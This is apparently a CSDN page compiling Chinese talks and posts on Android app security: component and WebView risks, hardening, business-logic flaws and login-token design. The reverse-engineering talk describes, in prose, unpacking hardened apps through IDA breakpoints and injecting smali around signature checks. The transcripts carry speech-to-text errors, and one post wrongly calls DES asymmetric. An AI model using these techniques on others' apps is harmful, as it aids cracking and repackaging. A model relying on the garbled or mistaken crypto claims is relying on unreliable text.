app安全_app安全检测 - CSDN
精华内容
参与话题
  • 常见的 App 安全问题

    万次阅读 2016-12-23 15:32:36
    常见的 App 安全问题 据2015年第三季度移动安全报告显示,Android 16个行业 TOP 10 应用漏洞类别和数量中,Webview远程代码执行占到了第一位,第二位是Webview文明存储密码。这些领域涵盖大家平时工作领域,我们...

    常见的 App 安全问题

    据2015年第三季度移动安全报告显示,Android 16个行业 TOP 10 应用漏洞类别和数量中,Webview远程代码执行占到了第一位,第二位是Webview文明存储密码。这些领域涵盖大家平时工作领域,我们所面临的漏洞是非常严峻的。

    安全研发

    作为开发人员,应该从以下两个方面来应对安全的问题。

    常见安全问题分析

    上图可看出Android研发要点约450个,包含组建安全、配置安全、策略安全、通信安全、权限欧洲、DOS安全、ROOT安全等等,今天从这里面挑一些重点讲一下。

    • 组件安全问题。安全有四大原生的组建,第一个是Activity,首先是访问权限控制,组建处理不好会导致你的应用被恶意程序进行恶意的页面调用。作为研发人员,我们可以从以下三点来预防和避免这个问题:

      • 私有的Activity不应该被其他应用启动且应该确保相对是安全的;

      • 关于Intent的使用要谨慎处理接受的Intent,以及其携带的信息尽量不发送敏感信息,并进行数据校验。

      • 设置Android:exported属性,不需要被外部程序调用的组建应该添加android:exported=”false”属性。

    第二个组建安全是Service劫持、拒绝服务。常见的漏洞有 Java 空指针异常导致拒绝服务和类型转换异常导致的拒绝服务两种。应对 Service 带来的安全问题给大家三点建议:一我们应用在内部尽量使用 Service 设为私有,如果确认这个服务是自己私有的服务,就把它确认为私有,不要作为一个公开的服务;针对 Service 接收到的五数据应该进行校验;内部的Service需要使用签名级别的 protectionle。

    • 传输安全。本地校验用户验证码也非常重要,以后请大家开发中本地的数据校验尽量不要放在本地,尽量放在云端。对于数据的加密,建议所有的App和用户的客户端不要用一个共同的密钥,对于密钥生成的方法尽量根据用户的ID或者一些信息来生成出来,这样避免了大规模密钥的泄露。

    • 第三方组件安全。之前做App应用,在研发后对应用做了很多安全防御。但是大概刚上线不到两天就暴露出漏洞了,究其原因是App项目中用了国内一家非常著名的SDK的推送平台,由于这个平台在发送推送广播的时候没有做数据的校验,导致了黑客可以利用这个推送广播进行伪装,给我发一些数据,最后导致应用在接收了广播之后,只要我点击这个广播应用就崩溃。因此我们除了做好自身应用的安全以外,要保证所引用的第三方,或者合作伙伴也是安全的。也就是说安全是一个团队性的。

    • Webview的代码执行漏洞。安卓存在一个非常著名的远程代码执行的漏洞,由于我们程序没有正确地使用,大家可能在做GS和Java户调的时候会遇到这个问题,远程攻击者可以通过Java分设接口执行一些恶意的Java方法,最终导致App在使用Webview的时候遭到攻击。我们是可以做一些应对的,安卓系统通过Webview通过一个注册来调用Java功能,攻击者利用反射对他进行攻击,其实谷歌也看到了这个问题,因为这个问题毕竟比较大、也比较广,所以谷歌在API Level17以后这个问题就得到了遏制,对于小于17,或者17以下的能不使用就不使用,如果真的要使用可以增加过滤,对数据的传输做一下校验。

    • 应用安全层。可以对代码进行一些混淆,如配置,如果觉得这还不够,也可以使用一些第三方的工具,比如APK文件。对于更加讲究安全性的经营类的企业,可以选择加固,使用脱壳程序,最后形成一个新的Dex包,最后完成对一个程序的加固。

    安全编码规范

    其实程序员的编码规范很重要。在Java中,对于一些重要的类、方法、变量,我们在定义的时候一定要想这么几个问题。

    • 定义的类或者变量到底返回什么?
    • 它们获得什么作为参数?
    • 是否能够绕过安全线?
    • 它是否含有能够绕过边界,从而绕过保护的方法变量?

    有了这种思想之后,对于一些安全性的风险代码为了防止暴露,我们可以做一些操作,说限制对变量的访问,让每个量的方法都成为Final,尽量使你的类不要被克隆,如果一旦允许被克隆,它可能会绕过这个类轻易地复制类的属性。安卓中很多会使用到序列化,如果自己觉得这个类是有风险的,或者说安全性是很高的,尽量不要让它序列化。最后是避免硬编码影响数据。

    Android M 和 N 的安全更新

    2015 年 8 月份谷歌发布了 Android 6.0 版本,其中很大一部分变化,是在用户权限授权上,谷歌意识到之前默认的授权有一定的问题,对于我们开发者来讲我们必须要掌握这一技能。谷歌列一些风险权限,比如说传感器、日历、变化、热像头、地理位置、麦克风等等,这些都是风险的权限。也就是说以后我们的 App 不能够随便地去拿一个权限,遇到这些风险权限的时候我们应该怎么办呢?我们就需要向用户申请。通常的做法谷歌在官方的文档中也给我们提供一个解决方案。

    有了权限之后,在 2016 年 8 月份,谷歌发布了 Android 7.0 版本,其中做了一个权限的更新,除了之前获取信息之外,Android 7.0 开发者可以在不申请 Get 的情况下访问设备商的账户;可以通过限制对私有文件的访问,强化了应用间的访问;对应用间的共享安全做了一个拉开幅度改进;Android 7.0 对网络安全也进行了保护,移除了一些可以持久访问目标设备的标识。将不再使用用户签名的证书。还有完善了网络安全配置,开发人员可以更加放地进行一些网络安全配置。谷歌进行了设备加密机制,所有的设备必须要体工队密钥存储的硬件支持,系统存储空间和用户配置存储空间将会分开进行加密。

    最后我想送给大家一句话:安全不是独行侠也是系统性的运维过程。以后我们想安全的时候,不能够老是考虑自身,而是应该把它放开、放远、放大去考虑,它是整个系统运维的过程。

    Android 应用安全防护和逆向分析


    CSDN 博客专家姜维(@尼古拉斯_赵四),分享的主题是《Android的应用防护策略和逆向分析》。防护从混淆和签名验证、反调试、Native方法手动注册、加固进行解析。逆向是分析工具、静态和动态两种方式做分析。

    资源混淆,概念来自于腾讯,是为了解决微信APK包开发的问题。第二种方法是签名验证,很多人为了防止二次打包,做了一个签名验证,如果发现签名不一致的话就会封杀,当然这种方式只是一般的防护。最后一种是反调试检测,反调试检测是用于现在很多应用拿到一个参数进行调试,如果是动态分析的话会进行一些调试。

    二次打包

    下面再来谈一下Native,这种方式也不是很多采用的,我们写过Native代码的话都知道,如果手头Java的应用,有一个特点就是Java-包名,方法一下就找到了,再对应一下Native的属性就可以了。这种方式比较敏感,所以这里边可以用手动注册,其实相当于现在有一些Java平台做的对Native的方法进行混淆。

    最后一种方式,现在用得最多的安全策略就是加固,关于加固现在用的比较多的平台是梆梆、爱加密,还有娜迦以及BAT+360。它把原加密放到外壳里面,加密之后找个时机来释放它。

    现在看看我们经常会逆向操作的工具,第一个可能用得比较多的是Apktools,第二种是Jadx,第三种可能是用得最多的是IDA。很多同学可能会遇到一些问题,如下图一个是QQ的、一个是微信的,他们抓住了Apktools的漏洞,他们把文件格式做了一些变动,导致会报一些异常,后面就不走了,它做了这些混淆,对于安卓本身系统去除文件没有任何影响,这里面要做的一个操作就是Apktools有源码,可以跟踪,把异常修复,修复之后就顺利了。

    再来看一下静态方式分析,一般现在要掌握的就是Smail语法,静态方式在现阶段用动态方式没办法去做解决的方式去解决。比如说校验肯定需要用静态方式去分析,静态方式一般要求有三个点,要先学会搜索,最后可能加一些代码进行调试。搜索这一点说得很简单,但是它里面的东西还是很多,还是跟经验有关。

    最近在写一个怎么把本地小视频分享到朋友圈里面,这个又借助另外一个突破口,你发送小视频的时候,那个页面肯定是有一个播放的,这边是一些邀请描述,上面是个发送,底下是一些可选项,就会发现你发送的这个小视频,定找到它的路径,你要先找到这个名字,可以把Activity的名字找出来,再到微信的源码里面去找,找到五个参数其实你就可以把本地的小视频的路径传到五个参数里面,就可以实现本地视频发送到朋友圈,微信做了一种校验,它的长度不能大于15秒,大小不能超过一兆,所以你本地应该是没有办法去做的。

    还有一种方式,就是注入代码的方式,注入代码一般会找一些静态方式,静态方式如果也想达到这种效果,这时候比如说上面我们介绍清零的时候介绍了一个A方法,我们会在A方法的前面加一行日志,这里面注入代码一般会手动写一个Smail文件,这时候就可以定位,定位到签名校验的A方法,注入代码这种方式也是一种常用的。

    动态方式用得也比较多,但是这种难度也是最大的,现在有两种方式,一种是Eclipes动态调试Smail代码。为什么这么做呢?它是一个完整的工程,动态调试就跟正常的Intent调试是一样的。第二种方式可能现在用得最多,也就是经常脱壳操作,就是IDA调试so代码,这个要解决一下反调试代码。再看看关键函数,这个就是Dex加密,最后有一点不管它前面怎么加密,它肯定加在里面运行的时候是解密之后的Dex,系统里面加载Dex的时候会用到下面这个函数,你只要在这个函数里面下个断点,得到这个函数有三个参数,表示这个Dex文件的长度,你可以在IDA里面写一个参数,把它挪到本地。有时候一些加固的平台不会调用这个函数,他会自己写一套,写一套之后他还会做一些操作,不敢怎么操作,都会先把Dex文件夹加入进去。我们只要在这几个函数里面下断点,再去得到他们的一些参数,这个过程中我现在说的是这样,真正操作的时候会发现很多问题,遇到很多挫折,我想说的是千万不要放弃,肯定会看到光明的。

    最后再来看一下逆向的时候两个工具,首先第一个是Hook神器Xposed,它是Hook的,修改系统调试工具Mprop,这样在微信里面你发现有的人发地址,有的人发微信的时候底下的地理位置是假的。

    在开发过程中,首先看一下Zip解压的漏洞,我们可以利用一些漏洞进行插件开发,从网上下载一些插件下来,它会做一些解压操作,这里面已经做了叙述,如果没有做叙述的话,安卓里面的解压文件是有类似于这样一种格式,以前可以范围它是返回到上级目录,我可以在Zip的环节写三个点点杠,利用应用本身的权限可以写一些数据,这样就比较危险了,修复的方案把文件名称的路径进行过滤。

    第二个漏洞是最近做一些直播,游戏制博会录制屏幕,4.4以下的手机录了之后可以把编码重新再编一下,用现在的API去直接使用,当然这个API有一个问题,它需要授权。当然在授权的时候有一个文案说明,后面这个看左边的已经修复了,比如说现在一个应用名字写得非常非常地长,但是你会看到底下他并没有说刚开始你屏幕上录取的所有内容,我委托一个授权,右下角会有一个取消、立即开始,这就是一个简单的提示,一般用户会点击立即开始,这样就相当于授权了,你所有的操作都会被记录下来了,这种是操作之后会对文案做一个省略化。我们本身做一些应用需要做一些防护,比如说我们做一些银行的,还有社交的登陆界面,银行的个人信息、财务的信息什么东西,类似的页面如果不想被一些录制的应用的话,我们可以设置这样几个参数,这样设置完之后,我们的当前页面是不会被他们进行录制的,他们也获取不到相关的内容,这也是我们针对于第三方直播建立一种安全防护。

    App安全增强——我来帮你写C++


    花甲科技安全实验室负责人泮晓波发表《App安全增强》主题分享,现在大部分的移动端,如Android、IoT、iOS都会面临特别大的问题,如应用被逆向破解、升级迟缓、突发事件等。

    从一个比较流行的Android系统的实例来说起,Android系统主要的代码全是Java,Java的代码很标准,大家可以根据所有的文档、各种逆向工具进行查阅,因此很容易被破解。但是针对C++的代码就没有那么地丰盛,C++难以破解的一点是在编译的过程中会比Java的过程中放弃更多的或者会丢掉更多的细节。

    我们知道这个点之后,如果我们有办法把一个代码从Java写的转换成C++写的,那是不是更难被破解呢?这就是我今天要跟大家分享的一个方案。

    如果我们在源代码层面上进行转换的话,我们需要处理所有编译其要处理的东西,语法、词法,甚至一个引号都需要我们控制,但是Java翻译不是一个很好的地方。源码搞不定,我们看一下在Java字节码上能不能做?Java字节码是基于一个站的。

    Java的代码,把核心的部分转换成C++的代码,它是可以提高很多的安全性,可以全部转换,也可以只转换一个函数,提高安全性上是有很大的帮助。

    一个Java的Native程序,或者是一个Dalvik里面,虚拟机对能引用的对象是有限制的,我们没有办法设置一万个对象,虚拟机对它有250个最多的限制。这个循环如果跑到250个,甚至300个时候,虚拟机需要处理垃圾收集的功能,这里面的函数要求把这个对象覆盖掉,我们函数里面生成的那段代码里面应用的函数就非常地有限。

    我们今天说的是一个安全增强方案的技术实现,跟加固的比较上有一个很大的区别。我们的点不是魔术,我们的方案是把它转换,我把它转换成另外一种方式,原先是电能的,我把它转化成会发光的光能,我们可以转化成化学能,今天的方案里面,Java讲C++就是它的一个特别的实例。

    在整个流程里面,我们会引入一个叫做动态的安全防护,因为刚才最后一点介绍的方式,我们是可以推送一个基础的版本,发现一笔再推送一个小的东西。这里有部分的代码换掉,可以达到升级动态,甚至是说一旦发现有黑客在攻击我们的代码,可以推送另外一个程序的版本达到一个直接跟他对抗的目的。

    黑无止境移动安全“漏洞”

    知道创宇高级安全顾问锅涛从攻击客的角度看看安全是怎么发生的,未来安全的主战场就在云这一块。未来移动市场肯定会成为我们整个生活的主角,因为移动是主角,就会对移动端安全信息的窃取,以及我们资产的窃取等,有主角的地方就有伤害。我们看到国外安全发展的趋势,尤其是国际上比较知名的Owasp。

    从黑客攻击的角度去分析未来攻击主战场,因为硬应用大家通过查阅书籍、网上、社区搜集资料都可以进行多方面的避免。但是黑客攻击的时候,发现攻击想要拿到的数据,就要去平衡一下攻击的成本,如果完全分析带来混淆,我就带来混淆防止别人能够快速分离出代码之间的逻辑。但是黑客也知道你做了大量比较,也就会换思路,就会从一个人的程序设计缺陷的漏洞利用,因为黑客最终是要拿到移动端和最终的核心数据库连接的信息,用户的信息,以及通过缺陷进行资产盗窃。黑客的攻击已经从一个应用发展到了一个逻辑。

    黑客在发动任何一次攻击的时候,都有成本。做防护就是为了增加黑客攻击的成本,无论是做代码混淆还是加固,成本提高了黑客有可能就会放弃攻击,但是他会寻找新的突破口。这就是下面要跟大家说的移动端里面业务逻辑设计缺陷,为什么业务逻辑设计缺陷会成为未来的一个主要的方向。

    • 应用逻辑是神一般地存在,老的程序员也是在劫难逃,因为业务的发展造成了程序员没法快速地去准备代码。
    • 安全开发人员也不能安全避免应用设计缺陷。
    • App本身的漏洞,一半的比例在业务漏洞上,而自己的逻辑漏洞没有一个自动化的程序促使全员去发现它。
    • 业务逻辑漏洞利用的就是开发人员本身人的缺陷,造成了它逃逸于各种防护,无论是代码混淆、加固等等。

    业务逻辑漏洞之所以会出现是因为业务发展迅速、开发水平不一、第三方缺陷、内部监管不严格也会出现这种漏洞发生。业务逻辑漏洞最常见的就是账号登陆限制的问题。还有安全性的问题,也会发现密码重置,还有的是采用手机号+我的验证码,就造成了黑客可以利用验证码进行破解,以及常见的另一种安全问题是App端的客户端应用。

    随着我们业务的发展,发现在金融行业,以及在我们的社交领域另一种手势密码。手势密码安全其实还是可以的,但是手势密码有很多解锁,可以通过多种方式去对手势密码进行一个修改。最常见的有暴力破解,以及去修改这一个文件重置本地手势密码。

    在很多的平台,安全数据的发送都跟我们App的测试接口息息相关,安全其实是方方面面的,我们不仅要关注应用漏洞,还有第三方接口漏洞也需要去关注。

    展开全文
  • 常见App安全问题

    千次阅读 2018-06-02 11:24:34
    常见的 App 安全问题据2015年第三季度移动安全报告显示,Android 16个行业 TOP 10 应用漏洞类别和数量中,Webview远程代码执行占到了第一位,第二位是Webview文明存储密码。这些领域涵盖大家平时工作领域,我们所...

    常见的 App 安全问题

    据2015年第三季度移动安全报告显示,Android 16个行业 TOP 10 应用漏洞类别和数量中,Webview远程代码执行占到了第一位,第二位是Webview文明存储密码。这些领域涵盖大家平时工作领域,我们所面临的漏洞是非常严峻的。

    常见安全问题分析

    上图可看出Android研发要点约450个,包含组建安全、配置安全、策略安全、通信安全、权限欧洲、DOS安全、ROOT安全等等,今天从这里面挑一些重点讲一下。

    组件安全问题。安全有四大原生的组建:

       一、Activity,首先是访问权限控制,组建处理不好会导致你的应用被恶意程序进行恶意的页面调用。作为研发人员,我们可以从以下三点来预防和避免这个问题:

    • 私有的Activity不应该被其他应用启动且应该确保相对是安全的;

    • 关于Intent的使用要谨慎处理接受的Intent,以及其携带的信息尽量不发送敏感信息,并进行数据校验。

    • 设置Android:exported属性,不需要被外部程序调用的组建应该添加android:exported=”false”属性。

       二、Service劫持、拒绝服务。

           常见的漏洞有 Java 空指针异常导致拒绝服务和类型转换异常导致的拒绝服务两种。应对 Service 带来的安全问题给大家三点建议:一我们应用在内部尽量使用 Service 设为私有,如果确认这个服务是自己私有的服务,就把它确认为私有,不要作为一个公开的服务;针对 Service 接收到的五数据应该进行校验;内部的Service需要使用签名级别的 protectionle。

    传输安全。本地校验用户验证码也非常重要,以后请大家开发中本地的数据校验尽量不要放在本地,尽量放在云端。对于数据的加密,建议所有的App和用户的客户端不要用一个共同的密钥,对于密钥生成的方法尽量根据用户的ID或者一些信息来生成出来,这样避免了大规模密钥的泄露。

    第三方组件安全。之前做App应用,在研发后对应用做了很多安全防御。但是大概刚上线不到两天就暴露出漏洞了,究其原因是App项目中用了国内一家非常著名的SDK的推送平台,由于这个平台在发送推送广播的时候没有做数据的校验,导致了黑客可以利用这个推送广播进行伪装,给我发一些数据,最后导致应用在接收了广播之后,只要我点击这个广播应用就崩溃。因此我们除了做好自身应用的安全以外,要保证所引用的第三方,或者合作伙伴也是安全的。也就是说安全是一个团队性的。

    Webview的代码执行漏洞。安卓存在一个非常著名的远程代码执行的漏洞,由于我们程序没有正确地使用,大家可能在做GS和Java户调的时候会遇到这个问题,远程攻击者可以通过Java分设接口执行一些恶意的Java方法,最终导致App在使用Webview的时候遭到攻击。我们是可以做一些应对的,安卓系统通过Webview通过一个注册来调用Java功能,攻击者利用反射对他进行攻击,其实谷歌也看到了这个问题,因为这个问题毕竟比较大、也比较广,所以谷歌在API Level17以后这个问题就得到了遏制,对于小于17,或者17以下的能不使用就不使用,如果真的要使用可以增加过滤,对数据的传输做一下校验。

    应用安全层。可以对代码进行一些混淆,如配置,如果觉得这还不够,也可以使用一些第三方的工具,比如APK文件。对于更加讲究安全性的经营类的企业,可以选择加固,使用脱壳程序,最后形成一个新的Dex包,最后完成对一个程序的加固。

    安全编码规范

    其实程序员的编码规范很重要。在Java中,对于一些重要的类、方法、变量,我们在定义的时候一定要想这么几个问题。

    • 定义的类或者变量到底返回什么?
    • 它们获得什么作为参数?
    • 是否能够绕过安全线?
    • 它是否含有能够绕过边界,从而绕过保护的方法变量?

    有了这种思想之后,对于一些安全性的风险代码为了防止暴露,我们可以做一些操作,说限制对变量的访问,让每个量的方法都成为Final,尽量使你的类不要被克隆,如果一旦允许被克隆,它可能会绕过这个类轻易地复制类的属性。安卓中很多会使用到序列化,如果自己觉得这个类是有风险的,或者说安全性是很高的,尽量不要让它序列化。最后是避免硬编码影响数据。

    黑无止境移动安全“漏洞”

    知道创宇高级安全顾问锅涛从攻击客的角度看看安全是怎么发生的,未来安全的主战场就在云这一块。未来移动市场肯定会成为我们整个生活的主角,因为移动是主角,就会对移动端安全信息的窃取,以及我们资产的窃取等,有主角的地方就有伤害。我们看到国外安全发展的趋势,尤其是国际上比较知名的Owasp。

    从黑客攻击的角度去分析未来攻击主战场,因为硬应用大家通过查阅书籍、网上、社区搜集资料都可以进行多方面的避免。但是黑客攻击的时候,发现攻击想要拿到的数据,就要去平衡一下攻击的成本,如果完全分析带来混淆,我就带来混淆防止别人能够快速分离出代码之间的逻辑。但是黑客也知道你做了大量比较,也就会换思路,就会从一个人的程序设计缺陷的漏洞利用,因为黑客最终是要拿到移动端和最终的核心数据库连接的信息,用户的信息,以及通过缺陷进行资产盗窃。黑客的攻击已经从一个应用发展到了一个逻辑。

    黑客在发动任何一次攻击的时候,都有成本。做防护就是为了增加黑客攻击的成本,无论是做代码混淆还是加固,成本提高了黑客有可能就会放弃攻击,但是他会寻找新的突破口。这就是下面要跟大家说的移动端里面业务逻辑设计缺陷,为什么业务逻辑设计缺陷会成为未来的一个主要的方向。

    • 应用逻辑是神一般地存在,老的程序员也是在劫难逃,因为业务的发展造成了程序员没法快速地去准备代码。
    • 安全开发人员也不能安全避免应用设计缺陷。
    • App本身的漏洞,一半的比例在业务漏洞上,而自己的逻辑漏洞没有一个自动化的程序促使全员去发现它。
    • 业务逻辑漏洞利用的就是开发人员本身人的缺陷,造成了它逃逸于各种防护,无论是代码混淆、加固等等。

    业务逻辑漏洞之所以会出现是因为业务发展迅速、开发水平不一、第三方缺陷、内部监管不严格也会出现这种漏洞发生。业务逻辑漏洞最常见的就是账号登陆限制的问题。还有安全性的问题,也会发现密码重置,还有的是采用手机号+我的验证码,就造成了黑客可以利用验证码进行破解,以及常见的另一种安全问题是App端的客户端应用。

    随着我们业务的发展,发现在金融行业,以及在我们的社交领域另一种手势密码。手势密码安全其实还是可以的,但是手势密码有很多解锁,可以通过多种方式去对手势密码进行一个修改。最常见的有暴力破解,以及去修改这一个文件重置本地手势密码。



    展开全文
  • app安全

    2016-06-06 16:40:51
    介绍总结一下app安全方面  1.数据的安全  1).在app的访问请求数据中,一般是通过httpClient,UrlConnnection来从服务器端获取数据的,这么做在平常看来是没有问题的,  但是,我们可以通过工具去抓取这些传输过程中...
    介绍总结一下app安全方面
        1.数据的安全
            1).在app的访问请求数据中,一般是通过httpClient,UrlConnnection来从服务器端获取数据的,这么做在平常看来是没有问题的,
            但是,我们可以通过工具去抓取这些传输过程中的信息.这么做的后果是:传输过程中的所有数据全部都暴露在我们面前了.
            
               解决的方法:
               1).加密
                    在数据传输前,通过加密算法对数据进行加密,服务器或者客户端在接收到数据的时候,通过解密方法,解密.
                    常用的加密算法:MD5,DES,AES
                    其中要说明的是:通过MD5加密的一般会放置到服务器,并不会拿着这个串去来回传递,因为MD5加密是非可逆的加密.
                    DES:非对称加密
                    AES:对称加密
                    
                    另:有人用到了Base64,要说明一下,Base64的原理相当于对字符串进行了混淆,非常容易的就会拿到混淆前的字段.
                    
                2).我们可以抓取的数据,是在传输层传输的数据,那想办法在传输层做保障的话,就要用到了https,
                    原理:
                        https的根源仍然是加密,通过服务器端的证书和客户端的证书安全握手后,才能拿到数据.https要保证有效性,就一定要验证证书,
                        在实际开发中,可能因为某些原因,在客户端设置了过滤所有证书.那么,一旦这么做之后,我们就可以通过在手机上设置代理证书,来
                        抓取传输层的数据.
                        
         2).代码的安全
               1).安全性在于,别人可以通过反编译去拿到你的源代码,并通过修改以及二次打包,窃取或者对你的应用造成极坏的影响.
                   
                   解决方案:
                    1).代码混淆
                        通过google提供的混淆工具,对app中的类名,方法名进行混淆.
                        优点:
                            对代码的可阅读性提高难度
                            
                        缺点:
                            仅仅是增加了代码的阅读性的难度,并没有真正的实现代码的安全.
                      
                     2).市面上常用的加固
                        可以在一定程度上保证了app的代码安全,常见的一下代码反编译工具,无法对加固的应用进行反编译.
                        
                        app应用的加固原理:
                            原理仍然是通过一定的加密算法,对app的资源文件进行加密.
                            1.对你的app进行反编译为.dex文件,然后通过加密对资源文件进行加密;
                            2.开启一个解密的app,然后把两个app通过工具整合成一个app文件;
                            3.对新生成的app进行签名;
                            
                            app的启动原理:

                                通过解码后,真正的创建app的页面.



    展开全文
  • APP的登录认证与安全

    万次阅读 2018-09-28 17:13:07
    一、登录机制 粗略地分析, 登录机制主要分为登录验证、登录保持、登出三个部分。... 登录认保持是指客户端登录后, 服务器能够分辨出已登录的客户端,并为其持续提供登录权限的服务器。登出是指客户端主动退出登录...

    一、登录机制

    粗略地分析, 登录机制主要分为登录验证、登录保持、登出三个部分。登录验证是指客户端提供用户名和密码,向服务器提出登录请求,服务器判断客户端是否可以登录并向客户端确认。 登录认保持是指客户端登录后, 服务器能够分辨出已登录的客户端,并为其持续提供登录权限的服务器。登出是指客户端主动退出登录状态。容易想到的方案是,客户端登录成功后, 服务器为其分配sessionId, 客户端随后每次请求资源时都带上sessionId。

    simple_flow

    1.1 登录验证

    上述简易的登录验证策略存在明显的安全漏洞,需要优化。

    1.1.1 密码的传输

    客户端第一次发出登录请求时, 用户密码以明文的方式传输, 一旦被截获, 后果严重。因此密码需要加密,例如可采用RSA非对称加密。具体流程如下:

    • 客户端向服务器第一次发起登录请求(不传输用户名和密码)。
    • 服务器利用RSA算法产生一对公钥和私钥。并保留私钥, 将公钥发送给客户端。
    • 客户端收到公钥后, 加密用户密码, 向服务器发起第二次登录请求(传输用户名和加密后的密码)。
    • 服务器利用保留的私钥对密文进行解密,得到真正的密码。

    1.1.2 登录状态token

    再仔细核对上述登录流程, 我们发现服务器判断用户是否登录, 完全依赖于sessionId, 一旦其被截获, 黑客就能够模拟出用户的请求。于是我们需要引入token的概念: 用户登录成功后, 服务器不但为其分配了sessionId, 还分配了token, token是维持登录状态的关键秘密数据。在服务器向客户端发送的token数据,也需要加密。于是一次登录的细节再次扩展。

    • 客户端向服务器第一次发起登录请求(不传输用户名和密码)。
    • 服务器利用RSA算法产生一对公钥和私钥。并保留私钥, 将公钥发送给客户端。
    • 客户端收到公钥后, 加密用户密码,向服务器发送用户名和加密后的用户密码; 同时另外产生一对公钥和私钥,自己保留私钥, 向服务器发送公钥; 于是第二次登录请求传输了用户名和加密后的密码以及客户端生成的公钥。
    • 服务器利用保留的私钥对密文进行解密,得到真正的密码。 经过判断, 确定用户可以登录后,生成sessionId和token, 同时利用客户端发送的公钥,对token进行加密。最后将sessionId和加密后的token返还给客户端。
    • 客户端利用自己生成的私钥对token密文解密, 得到真正的token。

    login

    1.2 登录保持

    在最原始的方案中, 登录保持仅仅靠服务器生成的sessionId: 客户端的请求中带上sessionId, 如果服务器的redis中存在这个id,就认为请求来自相应的登录客户端。 但是只要sessionId被截获, 请求就可以为伪造, 存在安全隐患。

    引入token后,上述问题便可得到解决。 服务器将token和其它的一些变量, 利用散列加密算法得到签名后,连同sessionId一并发送给服务器; 服务器取出保存于服务器端的token,利用相同的法则生成校验签名, 如果客户端签名与服务器的校验签名一致, 就认为请求来自登录的客户端。keep_login

     

    1.3 TOKEN失效
    用户登录出系统

    失效原理:
    在服务器端的redis中删除相应key为session的键值对。

    二、 散列算法

    散列是信息的提炼,通常其长度要比信息小得多,且为一个固定长度。加密性强的散列一定是不可逆的,这就意味着通过散列结果,无法推出任何部分的原始信息。任何输入信息的变化,哪怕仅一位,都将导致散列结果的明显变化,这称之为雪崩效应。散列还应该是防冲突的,即找不出具有相同散列结果的两条信息。具有这些特性的散列结果就可以用于验证信息是否被修改。

    散列算法可以用来加密token生成签名, 以便token信息不暴露在网络同时还能验证登录的有效性。

    2.1 md5

    全写: Message Digest Algorithm MD5(中文名为消息摘要算法第五版)

    输出: 128bit

    MD5算法具有以下特点:
    1、压缩性:任意长度的数据,算出的MD5值长度都是固定的。
    2、容易计算:从原数据计算出MD5值很容易。
    3、抗修改性:对原数据进行任何改动,哪怕只修改1个字节,所得到的MD5值都有很大区别。
    4、弱抗碰撞:已知原数据和其MD5值,想找到一个具有相同MD5值的数据(即伪造数据)是非常困难的。
    5、强抗碰撞:想找到两个不同的数据,使它们具有相同的MD5值,是非常困难的。

    缺陷:
    Md5一度被认为十分靠谱。
    2004年8月17日的美国加州圣巴巴拉的国际密码学会议(Crypto’2004)上,来自中国山东大学的王小云教授做了破译MD5、HAVAL-128、 MD4和RIPEMD算法的报告,公布了MD系列算法的破解结果。
    2009年,冯登国、谢涛二人利用差分攻击,将MD5的碰撞算法复杂度从王小云的2^42进一步降低到2^21,极端情况下甚至可以降低至2^10。仅仅2^21的复杂度意味着即便是在2008年的计算机上,也只要几秒便可以找到一对碰撞。
    Md5已老, 在安全性要求较高的场合,不建议使用。

    2.2 sha1

    全名: 安全哈希算法(Secure Hash Algorithm)
    输出: 160bit

    2.2.1 与Md5比较

    相同点:
    因为二者均由MD4导出,SHA-1和MD5彼此很相似。相应的,他们的强度和其他特性也是相似。
    不同点:
    1. 对强行攻击的安全性:最显著和最重要的区别是SHA-1摘要比MD5摘要长32 位。使用强行技术,产生任何一个报文使其摘要等于给定报摘要的难度对MD5是2^128数量级的操作,而对SHA-1则是2^160数量级的操作。这样,SHA-1对强行攻击有更大的强度。
    2. 对密码分析的安全性:由于MD5的设计,易受密码分析的攻击,SHA-1显得不易受这样的攻击。
    3. 速度:在相同的硬件上,SHA-1的运行速度比MD5慢。

    2.3 加盐

    所谓加盐, 就是在原本需要加密的信息基础上,糅入其它内容salt。签名的生成就是一次加盐。

    三、对称加密

    本系统使用对称加密对用户密码进行加密以及生成token字符串。

    3.1 AuthCode加密

    AuthCode是康盛科技发明的加密方式, 开源产品Discuz的密码是用这个算法进行加密。但是有点遗憾,这个函数所有权属于康盛创想,并不能自由使用的。不知使用是否有风险??

    3.2 AES加密

    高级加密标准(英语:Advanced Encryption Standard,缩写:AES),在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,已经被多方分析且广为全世界所使用。

    四、非对称加密

    RSA是目前最有影响力的公钥加密算法,它能够抵抗到目前为止已知的绝大多数密码攻击,已被ISO推荐为公钥数据加密标准。RSA的安全基于大数分解的难度。其公钥和私钥是一对大素数(100到200位十进制数或更大)的函数。从一个公钥和密文恢复出明文的难度,等价于分解两个大素数之积(这是公认的数学难题)。

    算法描述:

    (1)选择一对不同的、足够大的素数p,q。
    (2)计算n=pq。
    (3)计算f(n)=(p-1)(q-1),同时对p, q严加保密,不让任何人知道。
    (4)找一个与f(n)互质的数e(公钥指数),且1<e<f(n)。
    (5)计算d(私钥指数),使得de≡1 mod f(n)。这个公式也可以表达为d ≡e-1 mod f(n)
    注,≡是数论中表示同余的符号。
    (6)公钥KU=(e,n),私钥KR=(d,n)。
    (7)加密时,先将明文变换成0至n-1的一个整数M。若明文较长,可先分割成适当的组,然后再进行交换。设密文为C,则加密过程为:
    (8)解密过程为:

    五、基于Token的WEB后台认证机制

    几种常用的认证机制

    HTTP Basic Auth

    HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth

    OAuth

    OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。

    OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
    下面是OAuth2.0的流程:

    这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;

